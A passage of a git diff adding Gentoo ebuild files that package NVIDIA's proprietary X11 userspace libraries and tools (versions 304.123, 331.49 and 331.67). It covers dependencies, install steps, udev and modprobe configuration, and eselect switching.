+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+ elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+ elog
+ elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+ elog
+ elog "NVIDIA has requested that any bug reports submitted have the"
+ elog "output of /opt/bin/nvidia-bug-report.sh included."
+ elog
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.123.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.123.ebuild
new file mode 100644
index 00000000..c9401d56
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.123.ebuild
@@ -0,0 +1,379 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator udev
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ <x11-base/xorg-server-1.15.99
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? ( >=x11-libs/libvdpau-0.3-r1 )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S="${WORKDIR}/"
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ if use kernel_linux; then
+ # NVIDIA video decode <-> CUDA
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+
+ # XvMC driver
+ dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+ die "failed to install libXvMCNVIDIA.so"
+ donvidia ${NV_X11}/libXvMCNVIDIA.so ${NV_SOVER}
+ dosym libXvMCNVIDIA.so.${NV_SOVER} \
+ /usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+ die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins nvidia.icd
+ donvidia ${NV_OBJ}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-proxy-control.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig || die
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-debugdump || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-control || die
+ doexe ${NV_OBJ}/nvidia-cuda-proxy-server || die
+ doexe ${NV_OBJ}/nvidia-smi || die
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh || die
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ # GNOME3 gnome-terminal redraw bug workaround,
+ # see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+ doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER} ${GL_ROOT}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+ elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+ elog
+ elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+ elog
+ elog "NVIDIA has requested that any bug reports submitted have the"
+ elog "output of /opt/bin/nvidia-bug-report.sh included."
+ elog
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries, XvMC, and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-331.49.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-331.49.ebuild
new file mode 100644
index 00000000..a1c5ac15
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-331.49.ebuild
@@ -0,0 +1,375 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.15.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ fi
+}
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_postinst, see bug #491414
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(udev_get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-modprobe
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-331.67.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-331.67.ebuild
new file mode 100644
index 00000000..f400ebd6
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-331.67.ebuild
@@ -0,0 +1,375 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
